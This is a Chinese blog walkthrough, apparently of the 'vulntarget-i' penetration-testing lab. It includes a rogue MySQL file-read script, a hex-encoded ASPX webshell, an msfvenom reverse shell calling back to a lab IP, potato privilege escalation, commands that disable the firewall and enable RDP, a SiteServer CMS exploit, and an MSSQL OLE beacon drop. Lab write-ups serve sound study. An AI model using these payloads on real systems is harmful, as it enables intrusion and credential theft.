前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >vulntarget-i

vulntarget-i

作者头像
MssnHarvey
发布2022-12-13 16:13:27
3860
发布2022-12-13 16:13:27
举报
文章被收录于专栏:HarveyHarvey

机器密码:

2008-1: administrator/QwE123asd;vulntarget/123.com 后台:admin/admin8888;数据库:root/8B..123admin

2008-2: administrator/zxcvbnm;xiaoming/Vme50.. 后台管理:admin/8B..123admin (v7);administrator/8B..123admin (v6)

2012: xiaopao/CrazyThursday;administrator/asdfghjkl 数据库:管理员 sa/QwE123asd;普通权限xiaopao/123.com

拓扑图:

信息收集

扫描存活主机和端口,发现开放了80、135、139、445、3306、5985、8000、47001等端口

访问web显示是IIS7,没有什么有用信息

访问8000端口显示是米拓信息,搜索可知是个企业建站系统

扫目录发现存在adminer4.4.0,搜索漏洞可以发现有个任意文件读取漏洞

漏洞利用

https://github.com/ev0A/Mysqlist

字典脚本如下:

代码语言:javascript
复制
# -*- coding: utf-8 -*-
import socket
import os
import sys

#--------------------------------------------------------------------------------------------------------------------
port = int(sys.argv[1])
#--------------------------------------------------------------------------------------------------------------------

def mysql_get_file_content(sv, filename):
    conn, address = sv.accept()
    logpath = os.path.abspath('.') + "/log/" + address[0]
    if not os.path.exists(logpath):
        os.makedirs(logpath)

    conn.sendall("\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")
    conn.recv(9999)

    conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")
    conn.recv(9999)

    wantfile = chr(len(filename) + 1) + "\x00\x00\x01\xFB" + filename
    conn.sendall(wantfile)
    content = conn.recv(9999)
    conn.close()

    if len(content) > 4:
        with open(logpath + "/" + filename.replace("/", "_").replace(":", "_"), "w") as txt:
            txt.write(content)
        return True
    else:
        return False

# 开始监听
sv = socket.socket()
sv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sv.bind(("", port))
sv.listen(5)
print "Listen Begin in port "+str(port)
# 日志文件夹


# 循环监听
while True:
    filename = raw_input("请输入接下来你想读的文件名 (直接按回车退出): ")
    if filename == "":
        break
    res = mysql_get_file_content(sv, filename)
    if res:
        print "Read Success! ---> "+filename
    else:
        print "Not Found~ ---> "+filename

运行脚本,直接输入想要读取的文件绝对路径adminer.php,然后adminer页面输入攻击机kali的IP,用户名密码数据库可以随便输一个,点击登录

这里可以看到我们读取成功的文件会被记录到log文件夹中

读取mysql的配置文件,根据报错信息发现是phpstudy

然后我们可以探测一下phpstudy的默认路径/phpstudy_pro/www发现并不是默认的路径,下载源码进行分析发现是在config下的,但是需要绝对路径,再到IIS的看看发现有安全狗

IIS有两个默认的读取绝对路径的方法 C:\Windows\System32\inetsrv\MetaBase.xml C:\Windows\System32\inetsrv\config\applicationHost.config

这里读取的时候会发现上面的脚本不太行了,读取到的文件不完整,又换了个还是不完整

只能修改代码读取完整的大文件,用while循环读取文件,修改如下:

代码语言:javascript
复制
# -*- coding: utf-8 -*-
import socket
import os
import sys

#--------------------------------------------------------------------------------------------------------------------
port = int(sys.argv[1])
#--------------------------------------------------------------------------------------------------------------------

def mysql_get_file_content(sv, filename):
    conn, address = sv.accept()
    logpath = os.path.abspath('.') + "/log/" + address[0]
    if not os.path.exists(logpath):
        os.makedirs(logpath)

    conn.sendall("\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")
    conn.recv(99999999)

    conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")
    conn.recv(99999999)

    wantfile = chr(len(filename) + 1) + "\x00\x00\x01\xFB" + filename
    conn.sendall(wantfile)
    conn.sendall('asdfsadfsadfsa')
    content = 'asdfasdf'  # 初始进入循环
    
    if len(content) > 4:
        with open(logpath + "/" + filename.replace("/", "_").replace(":", "_"), "w") as txt:
            while len(content) !=0:
                content = conn.recv(99999999)
                txt.write(content)
        return True
    else:
        return False
    # if len(content) > 4:
    #     with open(logpath + "/" + filename.replace("/", "_").replace(":", "_"), "w") as txt:
    #         txt.write(content)
    #     return True
    # else:
    #     return False

sv = socket.socket()
sv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sv.bind(("", port))
sv.listen(5)
print "Listen Begin in port "+str(port)


while True:
    filename = raw_input("请输入接下来你想读的文件名 (直接按回车退出): ")
    if filename == "":
        break
    res = mysql_get_file_content(sv, filename)
    if res:
        print "Read Success! ---> "+filename
    else:
        print "Not Found~ ---> "+filename

可以得到IIS的网站的绝对路径以及安全狗的绝对路径

代码语言:javascript
复制
C:\vulnIIS\俱乐部
C:\Program Files (x86)\SafeDog\SafeDogSiteIIS\

后来探测中发现不用跟绝对路径也是能成功读取的,于是使用相对路径读取config_db.php配置文件,从而得到数据库账号密码:root/8B..123admin

成功登录数据库

进入后尝试通过日志getshell,首先查看secure_file_priv参数,发现为空有可读可写的权限

代码语言:javascript
复制
# 查看secure_file_priv参数信息是否为空
show global variables like '%secure%'

查看配置信息发现general log是关了的,需要开启general log模式

代码语言:javascript
复制
show variables like '%general%';
set global general_log=on

然后尝试能否写入,发现可以执行成功但是访问却报404

代码语言:javascript
复制
select 'test' into dumpfile 'C:\\vulnIIS\\俱乐部\\test.txt'

接着再执行一次命令显示文件已经存在,再回头看这里我们的路径存在中文,因此可以猜测这是编码问题所导致的

先来查看一下mysql的默认表,可能编码的不同导致这个中文跟符号融合了输出在vulnIIS目录下

代码语言:javascript
复制
show variables like 'character%'
代码语言:javascript
复制
# 指定数据库字符集还是失败
set character_set_client='gbk';set character_set_connection='gbk';set character_set_database='gbk';set character_set_results='gbk';set character_set_server='gbk';select 'test' into outfile 'C:\\vulnIIS\\俱乐部\\1.txt';

这里使用插件FH-Charset将网页编码设置成GBK,可以发现成功写入

接着我们通过创建表的方式写入来绕安全狗,先将冰蝎的aspx马转hex

代码语言:javascript
复制
3c25402050616765204c616e67756167653d2243232220253e3c2540496d706f7274204e616d6573706163653d2253797374656d2e5265666c656374696f6e22253e3c2553657373696f6e2e41646428226b222c226534356533323966656235643932356222293b202f2ae8afa5e5af86e992a5e4b8bae8bf9ee68ea5e5af86e7a0813332e4bd8d6d6435e580bce79a84e5898d3136e4bd8defbc8ce9bb98e8aea4e8bf9ee68ea5e5af86e7a08172656265796f6e642a2f627974655b5d206b203d20456e636f64696e672e44656661756c742e47657442797465732853657373696f6e5b305d202b202222292c63203d20526571756573742e42696e6172795265616428526571756573742e436f6e74656e744c656e677468293b417373656d626c792e4c6f6164286e65772053797374656d2e53656375726974792e43727970746f6772617068792e52696a6e6461656c4d616e6167656428292e437265617465446563727970746f72286b2c206b292e5472616e73666f726d46696e616c426c6f636b28632c20302c20632e4c656e67746829292e437265617465496e7374616e636528225522292e457175616c732874686973293b253e0a

然后再去创建一个表

代码语言:javascript
复制
create table test(test1 blob);    # blob被视为二进制字符串

写入内容

代码语言:javascript
复制
insert into test values (convert(0x3c25402050616765204c616e67756167653d2243232220253e3c2540496d706f7274204e616d6573706163653d2253797374656d2e5265666c656374696f6e22253e3c2553657373696f6e2e41646428226b222c226534356533323966656235643932356222293b202f2ae8afa5e5af86e992a5e4b8bae8bf9ee68ea5e5af86e7a0813332e4bd8d6d6435e580bce79a84e5898d3136e4bd8defbc8ce9bb98e8aea4e8bf9ee68ea5e5af86e7a08172656265796f6e642a2f627974655b5d206b203d20456e636f64696e672e44656661756c742e47657442797465732853657373696f6e5b305d202b202222292c63203d20526571756573742e42696e6172795265616428526571756573742e436f6e74656e744c656e677468293b417373656d626c792e4c6f6164286e65772053797374656d2e53656375726974792e43727970746f6772617068792e52696a6e6461656c4d616e6167656428292e437265617465446563727970746f72286b2c206b292e5472616e73666f726d46696e616c426c6f636b28632c20302c20632e4c656e67746829292e437265617465496e7374616e636528225522292e457175616c732874686973293b253e0a,char));

成功写入

将其导入IIS网站目录下(这里还是得使用插件将其转为GBK

代码语言:javascript
复制
select test1 from test into dumpfile 'C:\\vulnIIS\\俱乐部\\1.aspx';

最后冰蝎成功连接

信息收集一波,是个低权限的,还有个192.168.30.131的网卡,打了四个补丁

土豆提权

尝试烂土豆提权失败,换端口也是失败告终

尝试多汁土豆提权失败

尝试PipePotato失败

后面使用msf再尝试一下烂土豆提权

msf生成木马再通过冰蝎上传

代码语言:javascript
复制
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.150.128 lport=4444 -f exe > msf.exe

msf成功上线

代码语言:javascript
复制
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.150.128
run

列出tokens,当前shell用户只是一个普通的用户,权限低,也就意味着shell的访问级别低,所以令牌只有当前用户本身

代码语言:javascript
复制
use incognito
list_tokens -u

上传烂土豆并执行,可以看到已经有的system的令牌,然后模拟该令牌,成功提权

代码语言:javascript
复制
execute -cH -f potato.exe
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"

提权后使用猕猴桃抓一下密码

需要先将进程迁移到x64位上去

再执行一下即可获取到密码:Administrator/QwE123asd

msf这边shell用的不方便,我们还可以通过cs插件进行烂土豆提权也能成功,这里就直接通过提权后的msf运行cs马上线

首先关闭防火墙

代码语言:javascript
复制
netsh advfirewall set allprofiles state off
netsh advfirewall show allprofile state

然后使用下面的命令打开3389端口

代码语言:javascript
复制
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

成功登录远程桌面

在普通用户vulntarget中的桌面文件发现搜狗浏览器,打开看看是否有什么保存的密码

但是去设置中查看并没有

然后尝试通过登录普通用户查找,根据前面hashdump的解密得到vulntarget用户的密码:123.com

成功得到管理后台的账号密码administrator/8B..123admin

内网渗透

上传frp建立代理

代码语言:javascript
复制
./frps -c ./frps.ini
代码语言:javascript
复制
frpc.exe -c ./frpc.ini &

再上传fscan扫一下内网,发现主机192.168.30.130开放了80、135、445、8000端口

访问8000端口是空白的,只显示出一个logo

根据前面搜狗中访问保存的后台可以知道路径是/SiteServer/pageLogin.cshtml

然后尝试登录后台发现报错

搜了下报错是数据库配置问题,但是靶机连数据库文件一直出问题,后面修复初始环境的快照结果就解决了,但是没过多久又不行了,没有连接到mssql服务器,于是直接把IP改成10.0.10的

接着搜索SiteServer CMS 6.15.51漏洞发现可能存在sql注入漏洞CVE-2021-42656,不过没复现成功

后面看wp说是可以利用模板下载漏洞getshell(前面有看到但是介绍里是说对5.0版本包含5.0以下通杀就没尝试

首先写一个aspx马,再对其进行压缩,并上传至IIS的网站的目录下

代码语言:javascript
复制
<%@ Page Language="Jscript" Debug=true%>
<%
var a = Request.Form("abc");
var b = "un";
var a2 = "fe";
var c2 = "sa";
function fun ()
{
return a ;
}
eval(fun(),b+c2+a2);
%>

然后去菜鸟教程上在线编译C#程序,得到字符串:ZjYIub/YxA2nuEGSiGmc+ZyLUMtltzqK7OLPFo1MTHw=

代码语言:javascript
复制
using System; 
using System.IO; 
using System.Security.Cryptography; 
using System.Text; 
namespace EncryptApplication 
{ class Encrypt 
    { static void Main(string[] args) 
      { 
        var _encryptKey = "vEnfkn16t8aeaZKG3a4Gl9UUlzf4vgqU9xwh8ZV5"; 
        var _decryptKey = "vEnfkn16t8aeaZKG3a4Gl9UUlzf4vgqU9xwh8ZV5";
        var _inputString = "http://192.168.30.131/1.zip";    # 只需要修改此处的地址
        var _outString = ""; var _noteMessage = "";
        byte[] iv = { 0x12, 0x34, 0x56, 0x78, 0x90, 0xAB, 0xCD, 0xEF };
        try{ 
           var byKey = Encoding.UTF8.GetBytes(_encryptKey.Length > 8 ? _encryptKey.Substring(0, 8) : _encryptKey); 
          var des = new DESCryptoServiceProvider(); 
          var inputByteArray = Encoding.UTF8.GetBytes(_inputString); 
          var ms = new MemoryStream(); 
          var cs = new CryptoStream(ms, des.CreateEncryptor(byKey, iv), CryptoStreamMode.Write);     cs.Write(inputByteArray, 0, inputByteArray.Length);
         cs.FlushFinalBlock();
          _outString = Convert.ToBase64String(ms.ToArray()); 
         Console.WriteLine("DesEncrypt:"); Console.WriteLine(_outString); }
      catch (Exception error) { _noteMessage = error.Message; } 
 } } }

我们对此字符串再进行一次混淆

代码语言:javascript
复制
"+" => "0add0"
"=" => "0equals0"
"&" => "0and0"
"?" => "0question0"
"/" => "0slash0"

# ZjYIub0slash0YxA2nuEGSiGmc0add0ZyLUMtltzqK7OLPFo1MTHw0equals0

访问如下url(downloadUrl后添加混淆后的字符串,directoryName后修改为压缩文件的名称

代码语言:javascript
复制
http://192.168.30.130:8000/Ajax/ajaxOtherService.aspx?type=SiteTemplateDownload&userKeyPrefix=test&downloadUrl=ZjYIub0slash0YxA2nuEGSiGmc0add0ZyLUMtltzqK7OLPFo1MTHw0equals0&directoryName=1

然后拿蚁剑或者菜刀去连接即可

代码语言:javascript
复制
http://192.168.30.130:8000/SiteFiles/SiteTemplates/1/1.aspx 密码:abc

但是这里我没有实现,跟着wp中的另一种方法再进行复现一下

getshell

首先在设置管理-上传设置处添加上传图片类型aspx并修改上传文件夹为SiteFiles/SiteTemplates

然后在显示管理-内容管理处上传图片会显示重命名后的文件路径

这回就上传成功了,通过蚁剑成功连接(这里回显的上传文件名是t_xxx,所以需要把t_去掉

连上后进行信息收集,发现和之前的一样是个低权限的,还有个10.0.10.100的网卡,打了四个补丁,并且还不出网

于是利用第一台主机做跳板机转发上线,点击Plvoting-Listener进行设置监听

制作exe木马,上传靶机执行上线,然后就还是和前面一样使用烂土豆提权

接着我们读取cms数据库配置文件得到数据库账号密码:xiaopao/123.com

查看IP发现不在本地上存在双网站库分离环境,设置代理连接数据库,解密得到账号密码sa/QwE123asd

文件落地

启用OLE组件

代码语言:javascript
复制
exec master.dbo.sp_configure 'show advanced options', 1
RECONFIGURE
exec master.dbo.sp_configure 'Ole Automation Procedures', 1
RECONFIGURE

把cs生成的马转hex

代码语言:javascript
复制
import binascii
filename = 'beacon.exe'
with open(filename, 'rb') as f:
    content = f.read()
print(binascii.hexlify(content))

再把hex放在OLE组件内并创建命令执行存储过程

代码语言:javascript
复制
DECLARE @DATAVARBINARY(MAX)= 0x-hex        # 填入自己转的hex
    DECLARE @filepath VARCHAR(MAX)='C:\\Windows\\temp\\cs.exe'
    DECLARE @ObjectToken INT
    EXEC sp_OACreate 'ADODB.Stream', @ObjectToken OUTPUT
    EXEC sp_OASetProperty @ObjectToken,'Type',1
    EXEC sp_OAMethod @ObjectToken,'Open'
    EXEC sp_OAMethod @ObjectToken,'Write',NULL, @DATA
    EXEC sp_OAMethod @ObjectToken,'SaveToFile',NULL, @filepath,2
    EXEC sp_OAMethod @ObjectToken,'Close'
    EXEC sp_OADestroy @ObjectToken
    SELECT @filepath

成功上线CS

代码语言:javascript
复制
exec master..xp_cmdshell "cmd /c C:\\Users\\Public\\Downloads\\n.exe"
本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2022-12-11,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 信息收集
  • 漏洞利用
  • 土豆提权
  • 内网渗透
  • getshell
  • 文件落地
相关产品与服务
数据库
云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档